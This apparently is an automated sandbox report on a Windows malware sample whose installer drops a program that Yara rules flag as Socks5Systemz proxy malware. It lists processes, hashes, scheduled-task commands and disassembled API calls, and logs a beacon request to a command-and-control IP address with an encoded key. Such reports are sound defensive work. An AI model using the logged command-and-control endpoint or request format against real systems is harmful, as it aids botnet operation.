1	192.168.2.11	49990	188.119.66.185	443	7852	C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:49:08 UTC	283	OUT	GET /ai/?key=8f3f2b3ab942463b774fe6a0231e72eee7c4db7e40b82a8dcd6c946851e300888c3250aa15d605633775b0e650f7ba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda332511d6358c HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US) Host: 188.119.66.185
2024-12-12 15:49:08 UTC	200	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 15:49:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33
2024-12-12 15:49:08 UTC	650	IN	Data Raw: 32 37 65 0d 0a 38 62 37 32 33 63 36 38 65 65 31 38 34 30 33 63 36 36 30 66 62 66 65 30 33 38 34 63 32 37 62 36 62 63 38 66 38 30 32 32 34 63 62 64 33 62 63 31 39 30 32 34 39 66 37 65 31 36 66 65 30 34 64 64 65 37 36 37 34 62 62 33 35 63 38 64 31 65 33 66 37 38 37 61 61 30 61 66 30 64 39 62 66 35 30 31 64 32 39 39 62 31 63 61 32 39 37 34 64 35 66 36 34 63 63 34 39 36 66 63 35 32 64 36 64 62 39 63 35 66 61 64 62 36 66 34 63 31 30 33 30 32 63 33 64 34 31 62 31 66 64 64 33 31 33 61 31 62 64 32 33 32 39 32 64 35 64 30 39 31 35 37 34 39 63 39 37 30 33 34 66 32 64 34 30 33 34 62 36 64 31 36 36 63 63 63 66 37 31 31 36 38 62 62 66 37 35 36 61 34 65 66 65 62 35 32 61 61 37 66 63 32 63 66 33 66 66 32 66 35 64 38 65 61 34 64 30 65 38 64 35 62 39 32 33 34 61 63 33 34 Data Ascii: 27e8b723c68ee18403c660fbfe0384c27b6bc8f80224cbd3bc190249f7e16fe04dde7674bb35c8d1e3f787aa0af0d9bf501d299b1ca2974d5f64cc496fc52d6db9c5fadb6f4c10302c3d41b1fdd313a1bd23292d5d0915749c97034f2d4034b6d166cccf71168bbf756a4efeb52aa7fc2cf3ff2f5d8ea4d0e8d5b9234ac34

Target ID:	0
Start time:	10:47:03
Start date:	12/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Imagebase:	0x7ff68dea0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	10:47:03
Start date:	12/12/2024
Path:	C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\SgrmBroker.exe
Imagebase:	0x7ff79e7f0000
File size:	329'504 bytes
MD5 hash:	3BA1A18A0DC30A0545E7765CB97D8E63
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	10:47:03
Start date:	12/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
Imagebase:	0x7ff68dea0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	10:47:04
Start date:	12/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k wsappx -p -s ClipSVC
Imagebase:	0x7ff68dea0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	10:47:04
Start date:	12/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
Imagebase:	0x7ff68dea0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	10:47:04
Start date:	12/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	1'985'024 bytes
MD5 hash:	5A3F6AA1107D91BDC0430E2A0C1F4F26
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:48:04
Start date:	12/12/2024
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Imagebase:	0x7ff7b1670000
File size:	468'120 bytes
MD5 hash:	B3676839B2EE96983F9ED735CD044159
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:48:04
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	10:48:07
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe"
Imagebase:	0x400000
File size:	4'250'887 bytes
MD5 hash:	23619F330C57AF62DE72DFFEBADBF07B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	10:48:07
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp" /SL5="$20138,4002138,54272,C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe"
Imagebase:	0x400000
File size:	705'536 bytes
MD5 hash:	CC7B0A71A44CA4000DE2656C0486FD86
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	10:48:09
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\schtasks.exe" /Delete /F /TN "video_minimizer_12124"
Imagebase:	0x760000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	10:48:09
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	10:48:09
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe" -i
Imagebase:	0x400000
File size:	3'335'664 bytes
MD5 hash:	BDDC95BF37B6EB97D516948CEC1CB311
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 0000000F.00000000.1931743416.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Socks5Systemz, Description: Yara detected Socks5Systemz, Source: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Socks5Systemz, Description: Yara detected Socks5Systemz, Source: 0000000F.00000002.2537335881.0000000002CD9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	10:48:11
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe"
Imagebase:	0xf00000
File size:	4'608 bytes
MD5 hash:	F328A95046E3A2514C36347EAEC911C0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 54%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	10:48:27
Start date:	12/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff68dea0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	10:48:27
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 6784 -ip 6784
Imagebase:	0xc50000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	10:48:27
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6784 -s 584
Imagebase:	0xc50000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	10:48:28
Start date:	12/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Imagebase:	0x7ff68dea0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	21.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.5%
Total number of Nodes:	1462
Total number of Limit Nodes:	16

Executed Functions

Function 00409B30 Relevance: 7.6, APIs: 5, Instructions: 78
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 00409B42
VirtualQuery.KERNEL32(00400000,?,0000001C,?), ref: 00409B4D
VirtualProtect.KERNEL32(?,?,00000040,?,00400000,?,0000001C,?), ref: 00409B8E
VirtualProtect.KERNEL32(?,?,?,?,?,?,00000040,?,00400000,?,0000001C,?), ref: 00409BC0
VirtualQuery.KERNEL32(?,?,0000001C,00400000,?,0000001C,?), ref: 00409BD0

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Virtual$ProtectQuery$InfoSystem
String ID:
API String ID: 2441996862-0
Opcode ID: 9fe1c1492d4e2c4f54cecc4c125b8c20c153f3aea56d010d52fe367946264e59
Instruction ID: 3002c4020e31fcb34e6ffc2d5983d7aa910ebdc8277ab133fd4bc27d875cdae8
Opcode Fuzzy Hash: 9fe1c1492d4e2c4f54cecc4c125b8c20c153f3aea56d010d52fe367946264e59
Instruction Fuzzy Hash: F4219DB12003046BD7709AA99C85E5777E9EB85370F04082BFA89E32D3D239FC40C669

Function 0040520C Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0040C4BC,00000001,?,004052D7,?,00000000,004053B6), ref: 0040522A

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 08facca5f8c818d7ae0117448837c5e97f15c9e55cb3aedc2694e0bc5091a832
Instruction ID: 1248db9972fbf410c55bf070b604c98f5d62b90992f8f49b6b6440a9954d2c50
Opcode Fuzzy Hash: 08facca5f8c818d7ae0117448837c5e97f15c9e55cb3aedc2694e0bc5091a832
Instruction Fuzzy Hash: E2E0927170021427D710A9A99C86AEB725CEB58310F0002BFB904E73C6EDB49E804AED

Function 0040457C Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 27
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,00409C60), ref: 00404582
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 0040458F
GetProcAddress.KERNEL32(00000000,SetSearchPathMode), ref: 004045A5
GetProcAddress.KERNEL32(00000000,SetProcessDEPPolicy), ref: 004045BB
SetProcessDEPPolicy.KERNEL32(00000001,00000000,SetProcessDEPPolicy,00000000,SetSearchPathMode,kernel32.dll,?,00409C60), ref: 004045C6

Strings

SetDllDirectoryW, xrefs: 00404589
SetSearchPathMode, xrefs: 0040459F
SetProcessDEPPolicy, xrefs: 004045B5
kernel32.dll, xrefs: 0040457D

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressProc$HandleModulePolicyProcess
String ID: SetDllDirectoryW$SetProcessDEPPolicy$SetSearchPathMode$kernel32.dll
API String ID: 3256987805-3653653586
Opcode ID: 5152b1c660b0fef0348360efae9d442e0d6811f491f57bfacbbc157bf84edc67
Instruction ID: 1f393095ee8ecda9e1e01b6ca7d440447e938bbc9796bcd5dbe8d266940e5f64
Opcode Fuzzy Hash: 5152b1c660b0fef0348360efae9d442e0d6811f491f57bfacbbc157bf84edc67
Instruction Fuzzy Hash: 5FE02DD03813013AEA5032F20D83B2B20884AD0B49B2414377F25B61C3EDBDDA40587E

Function 0040A0E7 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetLastError.KERNEL32 ref: 0040A0F4

Part of subcall function 00409648: GetLastError.KERNEL32(00000000,004096EB,?,0040B240,?,020A2324), ref: 0040966C

CreateWindowExA.USER32(00000000,STATIC,InnoSetupLdrWindow,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 0040A131
SetWindowLongA.USER32(00020138,000000FC,00409918), ref: 0040A148
RemoveDirectoryA.KERNEL32(00000000,0040A287,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040A234
DestroyWindow.USER32(00020138,0040A287,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040A248

Strings

/SL5="$%x,%d,%d,, xrefs: 0040A188
STATIC, xrefs: 0040A12A
InnoSetupLdrWindow, xrefs: 0040A125

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Window$ErrorLast$CreateDestroyDirectoryLongRemove
String ID: /SL5="$%x,%d,%d,$InnoSetupLdrWindow$STATIC
API String ID: 3757039580-3001827809
Opcode ID: 92d7a146f7fa7ea583be229cf1972f4387f7e731d45899e9009fd1a518b8a977
Instruction ID: f6a9afe5b3848034850d92184c83b7d566fc641e007638e18ad9d31f508a71de
Opcode Fuzzy Hash: 92d7a146f7fa7ea583be229cf1972f4387f7e731d45899e9009fd1a518b8a977
Instruction Fuzzy Hash: 3B411071600204DFD710EBA9EE86B9977A4EB45304F10467EF514B73E2C7B89811CB9D

Function 004090A4 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 46
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,Wow64DisableWow64FsRedirection,00000000,0040913D,?,?,?,?,00000000,?,00409C74), ref: 004090C4
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 004090CA
GetModuleHandleA.KERNEL32(kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000,0040913D,?,?,?,?,00000000,?,00409C74), ref: 004090DE
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 004090E4

Strings

shell32.dll, xrefs: 00409110
Wow64RevertWow64FsRedirection, xrefs: 004090D4
Wow64DisableWow64FsRedirection, xrefs: 004090BA
kernel32.dll, xrefs: 004090BF, 004090D9

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64DisableWow64FsRedirection$Wow64RevertWow64FsRedirection$kernel32.dll$shell32.dll
API String ID: 1646373207-2130885113
Opcode ID: acfb4439f313785c2c2b120c37d6defef782ad7ac64c67e7eba3e924cf2abd75
Instruction ID: 4a4222b704d734fa8d0781b40c04fe9f9c76e7b4f133337d95099c0c8a01123f
Opcode Fuzzy Hash: acfb4439f313785c2c2b120c37d6defef782ad7ac64c67e7eba3e924cf2abd75
Instruction Fuzzy Hash: 20017170748342AEFB00BB72DD4AB163A68E785704F50457BF5407A2D3DABD4C04DA6D

Function 0040A0D5 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 105
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000000,STATIC,InnoSetupLdrWindow,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 0040A131
SetWindowLongA.USER32(00020138,000000FC,00409918), ref: 0040A148

Part of subcall function 00406B7C: GetCommandLineA.KERNEL32(00000000,00406BC0,?,?,?,?,00000000,?,0040A1B9,?), ref: 00406B94

Part of subcall function 004099A4: CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409A9C,020A2324,00409A90,00000000,00409A77), ref: 00409A14
Part of subcall function 004099A4: CloseHandle.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409A9C,020A2324,00409A90,00000000), ref: 00409A28
Part of subcall function 004099A4: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00409A41
Part of subcall function 004099A4: GetExitCodeProcess.KERNEL32(?,0040B240), ref: 00409A53
Part of subcall function 004099A4: CloseHandle.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409A9C,020A2324,00409A90), ref: 00409A5C

RemoveDirectoryA.KERNEL32(00000000,0040A287,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040A234
DestroyWindow.USER32(00020138,0040A287,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040A248

Strings

/SL5="$%x,%d,%d,, xrefs: 0040A188
STATIC, xrefs: 0040A12A
InnoSetupLdrWindow, xrefs: 0040A125

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Window$CloseCreateHandleProcess$CodeCommandDestroyDirectoryExitLineLongMultipleObjectsRemoveWait
String ID: /SL5="$%x,%d,%d,$InnoSetupLdrWindow$STATIC
API String ID: 3586484885-3001827809
Opcode ID: a64027cc69530ce26e0d020b421cb23cd984c73ff13cd53596b8d38fe4c4ed4c
Instruction ID: bf8877be64b1eb53a955be5febe4cb156f3d413c702a3b20994545be7baf65d7
Opcode Fuzzy Hash: a64027cc69530ce26e0d020b421cb23cd984c73ff13cd53596b8d38fe4c4ed4c
Instruction Fuzzy Hash: 75411A71604204DFD714EBA9EE86B5A77A4EB49304F10427EE514B73E1CBB8A810CB9D

Function 004099A4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 77
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409A9C,020A2324,00409A90,00000000,00409A77), ref: 00409A14
CloseHandle.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409A9C,020A2324,00409A90,00000000), ref: 00409A28
MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00409A41
GetExitCodeProcess.KERNEL32(?,0040B240), ref: 00409A53
CloseHandle.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409A9C,020A2324,00409A90), ref: 00409A5C

Part of subcall function 00409648: GetLastError.KERNEL32(00000000,004096EB,?,0040B240,?,020A2324), ref: 0040966C

Strings

D, xrefs: 004099EE

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateErrorExitLastMultipleObjectsWait
String ID: D
API String ID: 3356880605-2746444292
Opcode ID: 752074f715f169f8c9b0a2dfdb1d62babdf7ca20371da5ab86507c15e851728d
Instruction ID: 6ea97129cf5aa135a7f7046e3a99eae43c862e8aca722617c6144c18eae127a8
Opcode Fuzzy Hash: 752074f715f169f8c9b0a2dfdb1d62babdf7ca20371da5ab86507c15e851728d
Instruction Fuzzy Hash: 3A1142B17442486EDB10EBE68C42FAEB7ACEF49714F50017BB604F72C2DA785D048A69

Function 00401918 Relevance: 6.0, APIs: 4, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlInitializeCriticalSection.KERNEL32(0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 0040192E
RtlEnterCriticalSection.KERNEL32(0040C41C,0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 00401941
LocalAlloc.KERNEL32(00000000,00000FF8,0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 0040196B
RtlLeaveCriticalSection.KERNEL32(0040C41C,004019D5,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 004019C8

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID:
API String ID: 730355536-0
Opcode ID: 38709c719971e1168baf9cdc3c67f999ad3db3ab521e9349fb3b390a12b3c6f3
Instruction ID: 093a8b970c40f4dda7bd37408b901a2e20e4e29fb74a5496b56404d4d89a3717
Opcode Fuzzy Hash: 38709c719971e1168baf9cdc3c67f999ad3db3ab521e9349fb3b390a12b3c6f3
Instruction Fuzzy Hash: CC0161B0684240DEE715ABA999E6B353AA4E786744F10427FF080F62F2C67C4450CB9D

Function 00409E47 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 117
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MessageBoxA.USER32(00000000,00000000,00000000,00000024), ref: 00409EAB

Strings

.tmp, xrefs: 00409EF1
y@, xrefs: 00409FB4

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Message
String ID: .tmp$y@
API String ID: 2030045667-2396523267
Opcode ID: 025cb7c8070ceb0a973f57dc2423f3e96cefce6b80174f3a3145c26c436c6efd
Instruction ID: 436c98ae07f88f71ec52beeb6e72a39fdb1c754e3b127fd60db974180cd34f4e
Opcode Fuzzy Hash: 025cb7c8070ceb0a973f57dc2423f3e96cefce6b80174f3a3145c26c436c6efd
Instruction Fuzzy Hash: 7541AC30600200DFC715EF25DE96A5A77A5EB49304B50463AF804B73E2CBB9AC05CBAD

Function 00409E62 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MessageBoxA.USER32(00000000,00000000,00000000,00000024), ref: 00409EAB

Strings

.tmp, xrefs: 00409EF1
y@, xrefs: 00409FB4

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
